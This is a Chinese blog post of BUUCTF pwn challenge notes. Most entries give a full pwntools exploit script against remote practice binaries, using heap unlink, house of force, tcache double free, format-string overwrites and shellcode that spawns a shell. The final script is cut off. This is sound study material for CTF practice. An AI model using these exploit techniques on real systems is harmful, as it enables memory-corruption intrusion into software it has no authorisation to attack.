首页 > 其他分享 >buu第四页笔记

buu第四页笔记

时间:2024-03-19 18:59:02浏览次数:17  
标签:libc create 第四页 笔记 buu sendlineafter pwn import chunk

1、护网杯_2018_gettingstart

 64位,RELRO半开,Canary,NX,PIE全开

 就是普通栈溢出     

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./2018_gettingStart"
#p=process(pwn)
p=remote("node4.buuoj.cn",25558)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
v5=0x7FFFFFFFFFFFFFFF
v6=0x3FB999999999999A
payload=b'a'*0x18+p64(v5)+p64(v6)
p.sendline(payload)
p.interactive()

2、axb_2019_heap

 保护全开,ida打开,菜单堆题

 申请chunk和修改函数的内容都通过上图函数,申请的函数,能够自己选择索引的相对地址,且chunk的指针存放地址在bss段上,但是且指针地址+8存放的是chunk的size大小,所以一个chunk的数据记录要消耗bss的note结构体的0x10大小,且申请的chunk在bss段的key为0时只能申请大于0x80大小的chunk

 该题在最开始的时候还送了个格式化字符串漏洞,泄露libc的基地址,和程序基地址,在脚本断点不太行,直接gdb动调,我先是发现的%3$p%11$p,但是这个libc的基地址远程不行,换成了%15$p%11$p

 只有off by one漏洞,则运用unlink  攻击

create(0,0x88,b'a') 
create(1,0x88,b'a'*8)
create(2,0x88,b'/bin/sh\x00')

edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90))  
delete(1)

EXP如下,还有一种做法是把chunk0的指针指向key,那样就能申请更小size的chunk,攻击手法就多样化了,这道题就可以用更多的技巧进行攻击

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./axb_2019_heap"
#p=process(pwn)
p=remote("node5.buuoj.cn",27732)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def create(index,size,context):
     p.sendlineafter(">> ",str(1).encode())
     p.sendlineafter("create (0-10):",str(index))
     p.sendlineafter("size:",str(size))
     p.sendlineafter("content: ",context)

def delete(index):
     p.sendlineafter(">> ",str(2))
     p.sendlineafter("index:",str(index))

def edit(index,context):
     p.sendlineafter(">> ",str(4))
     p.sendlineafter("index:",str(index))
     p.sendlineafter("content: ",context)



p.sendlineafter("name: ",b'%15$p%11$p')
p.recvuntil("Hello, ")
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240              #-0xf73c0  这是本地打通的偏移,远程libc版本有点偏差,还好函数偏移是对的
pro_base=int(p.recv(14),16)-0x1186

note=0x202060+pro_base
sys_addr=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']


create(0,0x88,b'a') 
create(1,0x88,b'a'*8)
create(2,0x88,b'/bin/sh\x00')

edit(0,p64(0)+p64(0x81)+p64(note-0x18)+p64(note-0x10)+p64(0)*12+p64(0x80)+p8(0x90))  
delete(1)

edit(0,b'a'*0x18+p64(freehook)+p64(0x30))       #注意chunk0的size要设置一下
edit(0,p64(sys_addr)) delete(2) print("libcbase-->",hex(libcbase),"pro_base-->",hex(pro_base)) print(hex(note)) #debug() p.interactive()

3、oneshot_tjctf_2016

 64位,只开了NX,动态链接,ida打开看看

 先读入的会泄露地址,后读入会跳转执行

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./oneshot_tjctf_2016"
#p=process(pwn)
p=remote("node4.buuoj.cn",27938)
elf=ELF(pwn)
libc=ELF("./libc-2.23-x64.so")
#gdb.attach(p,'b *0x40085C')
#pause()
p.sendlineafter("location?\n",str(elf.got['puts']))
p.recvuntil("Value: ")
puts_addr=int(p.recv(18),16)
print(hex(puts_addr))

libcbase=puts_addr-libc.sym['puts']
onegadet=libcbase+0x45216
p.sendlineafter("location?\n",str(onegadet))
#pause()
p.interactive()

4、wustctf2020_number_game

 32位,输入一个数,要满足如下图所示的要求,先输入一个负数,之后的neg  eax将该负数进行取反操作,得到的数要还是负数,32位int类型的范围是-2147483648~2147483647,输入的数小于等于该范围的最小数就行,在读入的时候还是十六进制表示是0x80000000,取反还是0x80000000,表示最小数,nc输入值就行

5、gyctf_2020_some_thing_exceting

 把flag存放在了bss段上,读入在s地址处,继续往下看像是菜单堆题,看了实际代码是只有创造chunk,freechunk,和view chunk的功能

先看create chunk,调用一次这个函数就会申请三次chunk,第一次是固定大小的chunk,在44行和45行的内容就是把下图标注的chunk 2 和chunk3 的地址存放在固定的chunk1中,chunk 2和chunk3是自定义大小,但是不能超过0x70,且不存在整数溢出,对申请的chunk的size大小进行了限制

 漏洞点在free函数,存在uaf漏洞,在freechunk的时候并没有把chunk的指针置0

 view可以作为我们泄露libc的一个助力,在展示的时候是根据固定大小的chunk上存放的地址进行输出,如果我们能够控制该chunk,则可以泄露libc,这道题有flag在bss上的确切地址,则我们可以直接泄露flag

 

create(0x30,b'a',0x30,b'a') #chunk 123
create(0x30,b'a',0x30,b'a') #chunk 456
delete(0)
delete(1)

 create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a')   #泄露libc是附带的,换成别的也行,如下图可以看到,已经能写入chunk  0 的两块内容,接下来就view(0)就是了

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./gyctf_2020_some_thing_exceting"
#p=process(pwn)
p=remote("node5.buuoj.cn",29194)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
flag=0x6020A8
def create(size1,context1,size2,context2):
      p.sendlineafter("what you want to do :",str(1))
      p.sendlineafter("length : ",str(size1))
      p.sendlineafter("> ba : ",context1)
      p.sendlineafter("> na's length : ",str(size2))
      p.sendlineafter("> na : ",context2)

def delete(index):
      p.sendlineafter("what you want to do :",str(3))
      p.sendlineafter("> Banana ID : ",str(index))

def show(index):
      p.sendlineafter("what you want to do :",str(4))
      p.sendlineafter("SCP project ID : ",str(index))
      
      
create(0x30,b'a',0x30,b'a') #chunk 123
create(0x30,b'a',0x30,b'a') #chunk 456
delete(0)
delete(1)

create(0x10,p64(flag)+p64(elf.got['puts']),0x30,b'a')
show(0)
#debug()
p.interactive()

6、starctf_2019_babyshell

 第5行缓冲区和闹钟函数,之后把buf的地址通过mmap函数改为可读可写可执行,大小为0x1000,写入shellcode,然后有个栈溢出漏洞

 该函数限制了我们写入的范围,必须在unk_400978所规定的字符内容里,联系上图,我们要让return 1进行实现,绕过检查,

 这道题只要找一道汇编指令且它反汇编的第一个字节是b'\x00'绕过,就能使*i为0跳出循环

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./starctf_2019_babyshell"
#p=process(pwn)
p=remote("node5.buuoj.cn",25464)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
p.sendlineafter("shellcode, plz:\n",b'\x00\xc0'+asm(shellcraft.sh()))
print(asm("add al,al"))
p.interactive()

7、zctf2016_note2

 ida打开,是一道菜单堆题,四功能齐全,先读入0x40和0x60大小的姓名和地址,都在bss段上,再进入菜单,create函数,最多能申请四个chunk,且大小不超过0x80

 这两个函数一个是防止堆溢出一个字节,并将末位置0,第二个函数会多加一个0,放在一起则会产生0ff by null,且如果read读入的size是0的话,能造成堆溢出

 

 show功能,把bss段上指针存放地址的内容输出

 free功能没什么异常,重点看edit函数,这里可以选择两种方式,第一种是让dest的数组为0,继续malloc一个0xa0大小的堆块,然后在字符串后面进行输入最多0x8f个数据,然后将chunkptr原大小+14的位置置0,接下来把我们修改的数据放入原来chunk的地址上,第二种是先把原来的内容放入dest的数组中,把我们的read的内容接着原内容,再放入原chunk 的地址,但是这里的漏洞利用只有off by null

 通过unlink进行攻击,因为edit无法利用create的堆溢出漏洞,则把堆溢出放在chunk的中间,0xa1为0x91-0x10+0x20,因为fastbin的最小size为0x21

create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)) #chunk 0
create(0,b'aaaa') #chunk 1
create(0x80,b'a') #chunk 2
delete(1)
create(0,p64(0)*2+p64(0xa0)+p64(0x90)) #chunk 3
delete(2)

 之后就是泄露atoi的地址,然后替换成system

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./note2"
#p=process(pwn)
p=remote("node5.buuoj.cn",25551)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
     p.sendlineafter("option--->>\n",str(1))
     p.sendlineafter(":(less than 128)\n",str(size))
     p.sendlineafter("content:\n",context)
      
def show(index):
     p.sendlineafter("option--->>\n",str(2))
     p.sendlineafter("note:\n",str(index))

def edit(index,size,context):
     p.sendlineafter("option--->>\n",str(3))
     p.sendlineafter("note:\n",str(index))
     p.sendlineafter("[1.overwrite/2.append]\n",str(size))
     p.sendlineafter("TheNewContents:",context)         

def delete(index):
     p.sendlineafter("option--->>\n",str(4))
     p.sendlineafter("note:\n",str(index))     

ptr=0x602120
p.sendlineafter("name:\n",p64(elf.got['atoi']))
p.sendlineafter("address:\n",b'a')
create(0x80,p64(0)+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10))  #chunk 0
create(0,b'aaaa')  #chunk 1
create(0x80,b'a')  #chunk 2
delete(1)
create(0,p64(0)*2+p64(0xa0)+p64(0x90))  #chunk 3
delete(2)

edit(0,1,b'a'*0x18+p64(elf.got['atoi']))
show(0)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(0,1,p64(sys_addr))
p.sendlineafter("option--->>\n",b'/bin/sh\x00')
#debug()
p.interactive()

8、wustctf2020_name_your_dog

 存在后门函数

字符串地址越界写,在bss段上,能做修改的在循环里的倍数为8的为__isoc99_scanf,

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./wustctf2020_name_your_dog"
#p=process(pwn)
p=remote("node5.buuoj.cn",27691)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
back=0x80485cb
p.sendlineafter("which?\n>",str(-7))
p.sendlineafter("plz: ",p32(elf.sym['shell']))
p.recv()
#debug()
p.interactive()

9、gyctf_2020_force

 堆题,只有malloc的功能,但是有堆溢出,固定读入0x50大小的内容,则可以进行house of force  ,修改top chunk的size,再malloc使进行任意地址读写

 由于保护全开,则要先泄露libc基址,则通过malloc一个比topchunk大的size的chunk让mmap函数分配一片地址,跟libc基址有固定偏移,add函数会泄露该地址

然后修改topchunk的size,再把进行house of force 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./gyctf_2020_force"
#p=process(pwn)
p=remote("node5.buuoj.cn",28935)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'aaaa'):
      p.sendlineafter(":puts\n",str(1))
      p.sendlineafter("size\n",str(size))
      p.recvuntil("addr ")
      chunk=int(p.recv(14),16)
      p.sendafter("content\n",context)
      return chunk

libcbase=create(0x200000)+0x200ff0
malloc=libcbase+libc.sym['__malloc_hook']
realloc=libcbase+libc.sym['realloc']
topchunk=create(0x10,p64(0)*3+p64(0xffffffffffffffff))+0x10
ogg=libcbase+0x4526a
create(malloc-topchunk-0x30,b'aaa')
create(0x20,p64(ogg)*2+p64(realloc+16))
p.sendlineafter(":puts\n",str(1))
p.sendlineafter("size\n",str(21))
#debug()
p.interactive()

10、wdb_2018_3rd_soEasy

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./wdb_2018_3rd_soEasy"
#p=process(pwn)
p=remote("node5.buuoj.cn",26555)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
#debug('b *0x8048518')

p.recvuntil("Hei,give you a gift->")
stack=int(p.recv(10),16)
#pause()
leave=0x08048549
p.sendafter("do?\n",asm(shellcraft.sh()).ljust(0x4c,b'a')+p32(stack)+p32(leave))
p.interactive()

11、judgement_mna_2016

 格式化字符串漏洞,要我们猜flag

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./judgement_mna_2016"
#p=process(pwn)
p=remote("node5.buuoj.cn",29401)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
#debug('b *0x0804876D')
p.sendlineafter("flag >> ",b'%28$s')
#pause()

p.interactive()

12、picoctf_2018_buffer overflow 0

 

其中 argv 便是用来存储参数的 这里会把读入的 flag 存放 flag 变量中 11 是 无效内存访问信号,这表示,当发生无效内容访问时,会将 flag 写入 stderr ,然后 fflush 刷新缓冲区输 第一种方法栈溢出

 第二种利用puts函数打印

payload = b'./vuln ' + b'a'*0x1c + p32(elf.sym['puts']) + b'a'*4 + p32(0x804A080) print(payload)  

13、ciscn_2019_en_3

 菜单堆题,free存在uaf,malloc自定义大小的堆块,只有两个功能,动调发现puts函数能够泄露一个libc的函数的地址

 libc版本是libc2.27,tcache不检查size位,则doublefree进行攻击

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_en_3"
#p=process(pwn)
p=remote("node5.buuoj.cn",29775)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
      p.sendlineafter("choice:",str(1))
      p.sendlineafter("of story: \n",str((size)))
      p.sendlineafter("the story: \n",context)

def delete(index):
      p.sendlineafter("choice:",str(4))
      p.sendlineafter("index:\n",str(index))
      

p.sendafter("your name?\n",b'a'*0x20)
p.sendafter("input your ID.\n",b'a'*8)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x81237      #-libc.sym['setbuffer']-231  
print(hex(libcbase))
free=libcbase+libc.sym['__free_hook']
sys_addr=libcbase+libc.sym['system']
create(0x20)  #chunk 0
create(0x20,b'/bin/sh\x00')  #chunk 1
print(hex(free))
delete(0)
delete(0)
create(0x20,p64(free))
create(0x20,b'/bin/sh\x00')
create(0x20,p64(sys_addr))
delete(1)
#debug('b $rebase(*0xDD9)')
p.interactive()

14、ciscn_2019_final_2

 保护全开,ida打开,菜单堆题,只有申请,释放和展示,申请函数只能malloc两种大小的chunk,且展示函数只能输出3次内容,libc2.27,且delete函数存在uaf,且在free之前会对bss段上的bool进行检查,如果为0,则不进行free操作

 但是create函数可以配合delete函数使用,create不管是malloc哪种大小的chunk都会将bool的值转1,则可以进行double free

 create(2,b'a') delete(2) create(1,b'a') delete(2) 

 但是现在要泄露libc的基地址

 看了wp之后发现init已经在程序创建缓冲区的时候就已经读入了flag,且利用dup2函数将读取flag的fd改为666

#leak ->chunk_low
create(1,1)
delete(1)
create(2,2)
create(2,2)
create(2,2)
create(2,2)
delete(2)
create(1,1)
delete(2)
show(2)

先进行chunk的低4字节信息泄露,前面多申请的chunk2都是为了后面合并伪造chunk做准备

 #change size ->0x91 create(2,chunk_low) create(2,0) delete(1) create(2,0x91) 

这里通过泄露的chunk的低字节位,通过dup将fd指向chunk1类型,再将size位修改为0x91,进行fakechunk,且这里free的chunk1类型是为了下面的操作进行铺垫,

 #leak --->libcbase for i in range(7): delete(1) create(2,2) delete(1) show(1) 

这里chunk1已经size大小修改为0x91,然后通过double free,将tcache填满,然后进行泄露

 create(2,stdin & 0xffff) create(1,0) create(1,666) 

这里取低字节通过上面一样的方法修改指针末位,使原本指向main_arena的fd指向了__IO_2_1_stdin_,再createchunk1,如果freechunk2就会从unsorted bin 进行分配,即使freechunk的fd指针指向地址为stdin也无法造成修改

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_final_2"
#p=process(pwn)
p=remote("node5.buuoj.cn",25965)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(typ,context):
      p.sendlineafter("> ",str(1))
      p.sendlineafter(">",str((typ)))
      p.sendlineafter("number:",str(context))

def delete(index):
      p.sendlineafter("> ",str(2))
      p.sendlineafter(">",str(index))

def show(index):
      p.sendlineafter("> ",str(3))
      p.sendlineafter(">",str(index))
      
def bye(context):
      p.sendlineafter("> ",str(4))     
      p.sendlineafter(" at last? \n",context)

#leak ->chunk_low
create(1,1)
delete(1)
create(2,2)
create(2,2)
create(2,2)
create(2,2)
delete(2)
create(1,1)
delete(2)
show(2)
p.recvuntil("inode number :")
chunk_low=int(p.recvuntil(b'\n')[:-1],10)-0xa0
if chunk_low<0 :
   chunk_low+=0x10000
print(hex(chunk_low))
#change size ->0x91
create(2,chunk_low)
create(2,0)
delete(1)
create(2,0x91)

#leak --->libcbase
for i in range(7):
    delete(1)
    create(2,2)
    
delete(1)
show(1)
p.recvuntil("inode number :")
libc_low=int(p.recvuntil(b'\n',drop=True))-96
if libc_low<0:
    libc_low+=0x100000000
print(hex(libc_low))
libcbase=libc_low-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
stdin=libcbase+libc.sym['_IO_2_1_stdin_']+0x70
print(hex(stdin))
#fd-->666
create(2,stdin & 0xffff)
create(1,0)
create(1,666)
#debug()
p.sendlineafter("> ",b'4')
p.sendlineafter("at last? \n",b'a')
print(p.recv())

15、lctf2016_pwn200

 栈可执行,应该是写入shellcode了,ida打开,能输入的第一个函数,能够输入0x30个字节

 

 p.sendafter("are u?\n",b'a'*0x30) 

 发现能够泄露一个栈地址,接下来的函数能够输入一些数,且最多四字节,如果在if判断范围内,则还会打印输出,如果大于0则返回输入的数

 接下来的函数先malloc一个0x40大小的chunk,且dest存放了chunk的地址,然后在栈上读入0x40大小的内容,且dest指针距离rbp8个字节,但是buf读入刚好能够覆盖指针的值,再把读入的内容复制到指针指向的位置,再指针地址存放在bss段上的ptr处,

 接下来进入堆的菜单循环,只能申请和删除一个堆块,且存放堆块地址的地方是在上面提到的ptr地址处,这道题用了函数嵌套,gdb动调发现我们通过第一个函数能够控制高地址处的内容,通过第三个函数能够控制低地址内容,则只要fakechunk在中间一块内存,就有了中间一块区域的读写能力,关于这道题就能将返回地址篡改为我们的shellcode地址,这道题运用的是house of spirit  

 因为我们能够通过第一个函数泄露栈地址,且距离我们写入的地址有固定偏移,则我们在此函数往栈上写入我们的shellcode,如下图所示,shellcode和money都是可控的内存范围,利用chunk的指针伪造chunk将中间的一段内存区域能够写入数据,则可以将 返回地址进行修改为shellcode

  fakechunk=shell_addr-0x50 p.sendlineafter("id ~~?\n",str(0x41).encode()) p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk)) 

如下图所示,已经将bss段上的指针指向了栈地址

 如下图freechunk,之后再进行申请就可以修改返回地址,之后退出就行

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./pwn200"
p=process(pwn)
#p=remote("node5.buuoj.cn",25965)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------

#debug('b *0x400B0B')
paylaod=asm(shellcraft.sh()).ljust(0x30,b'a')
p.sendafter("are u?\n",paylaod)
p.recvuntil(paylaod)
shell_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x50
print(hex(shell_addr))
fakechunk=shell_addr-0x40
p.sendlineafter("id ~~?\n",str(0x41).encode())
p.sendafter("money~\n",p64(0)*5+p64(0x41)+p64(0)+p64(fakechunk))

p.sendlineafter("your choice : ",str(2).encode())
p.sendlineafter("your choice : ",str(1).encode())
p.sendlineafter("how long?\n",str(0x30).encode())
p.sendlineafter("48\n",p64(0)*3+p64(shell_addr))

p.sendlineafter("your choice : ",str(3).encode())


#pause()
p.interactive()

16、suctf_2018_stack

 简单栈溢出

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./SUCTF_2018_stack"
#p=process(pwn)
p=remote("node5.buuoj.cn",29401)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#-------------------------------------------------------------------------------------------------------
p.send(b'a'*0x28+p64(0x40067a))
p.interactive()

17、bjdctf_2020_YDSneedGrirlfriend

 菜单堆题,存在申请,释放,输出chunk的功能,且free功能存在uaf

 show功能初步判断为print的函数地址存放在chunk的内容中

 存在后门函数

 把puts函数地址改为后门函数地址

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./bjdctf_2020_YDSneedGrirlfriend"
#p=process(pwn)
p=remote("node5.buuoj.cn",26825)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------

def create(size,context=b'a'):
    p.sendlineafter("Your choice :",str(1))
    p.sendlineafter("size is :",str(size))
    p.sendafter("Her name is :",context)
    
    
def delete(index):
    p.sendlineafter("Your choice :",str(2))
    p.sendlineafter("Index :",str(index))

def show(index):
    p.sendlineafter("Your choice :",str(3))
    p.sendlineafter("Index :",str(index))

backdoor=0x400B9C
create(0x80)  #chunk 0
create(0x60)  #chunk 1
puts=0x400863
delete(0)
delete(1)
create(0x10,p64(backdoor))  #chunk 2
show(0)
#debug()
p.interactive()

18、gyctf_2020_signin

存在后门函数,算是菜单堆题,因为函数没有去符号,且没有偏差,功能为增加,删除,修改

 增加功能,最多能申请10个固定大小的chunk0x70,且通过索引进行chunk的分配,chunk的指针和状态标识都存放在bss段上

 

19、xman_2019_format

 ida打开函数嵌套,就列出两个比较重要的函数,第一个函数能把我们输入的内容写入chunk中,且把改地址传参进下一个函数,最多能输入0x37个字节

 buf地址最终传给s,再调用strtok进行把s内容切割,把第一个“|”前面的内容赋给v1,再打印,接下来进入循环,把切割剩下的继续进行分割,知道分割完也就是遇不到“|”符号,这里就能进行格式化字符串漏洞利用,但是因为写入的内容在堆,所以我们不能自己添加指针输入,则只能利用栈上已经存在的指针进行操作,这里利用动调看看

 可以看到如下图所示,我们将ebp的链修改为指向返回地址的地方,再通过d028将返回地址修改为后门函数地址

 接下来就是爆破栈上的最后一个字节

from pwn import *

context.log_level='debug'

for x in range(4, 0x100, 4):
    tar = '%' + str(x) + 'c%10$hhn|%34219c%18$hn'
    try:
        p = process('./xman_2019_format')
        # p = remote('node3.buuoj.cn', 27180)
        log.info('current low byte:{}'.format(hex(x)))
        p.recv()
        p.sendline(tar)
        p.recv(timeout=1)
        sleep(1)
        p.sendline('cat flag')
        p.recvline_contains('flag', timeout=1)
        p.interactive()
    except:
        p.close()

20、ciscn_2019_sw_1

 这里注意RELRO关了,则init.array、fini.array、got.plt均可读可写;为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.array、fini.array、got.plt均可读不可写,根据函数正常的执行流,函数执行前会调用init类初始化函数,执行后会调用fini.array[]数组里地址对应函数。所以如果我们将其改为main函数,那么可以再次输入参数“/bin/sh\x00”拿到shell

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_sw_1"
#p=process(pwn)
p=remote("node5.buuoj.cn",27145)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
fini=0x804979C
main=0x8048534
call_system=0x80483d0
printf=0x804989c
#debug('b *0x8048589')
payload=b'%'+str(0x804).encode()+b'c%13$hn'+b'%'+str(0x83d0-0x804).encode()+b'c%14$hn'+b'%'+str(0x164).encode()+b'c%15$hn'+p32(printf+2)+p32(printf)+p32(fini)
p.sendlineafter("name?\n",payload)
sleep(1)
p.sendline(b'/bin/sh\x00')
p.interactive()

21、picoctf_2018_are you root

getflag

 主函数应该是菜单堆题了,但是做的感觉有点抽象,在申请堆块的时候会申请两个0x21大小的chunk,前一个chunk保存后一个chunk的地址,+8保留的是auth,且free的时候只会free后一个chunk,且内容不做清空,则可以把5写上去再进行申请就能直接getflag

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./PicoCTF_2018_are_you_root"
#p=process(pwn)
p=remote("node5.buuoj.cn",28319)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
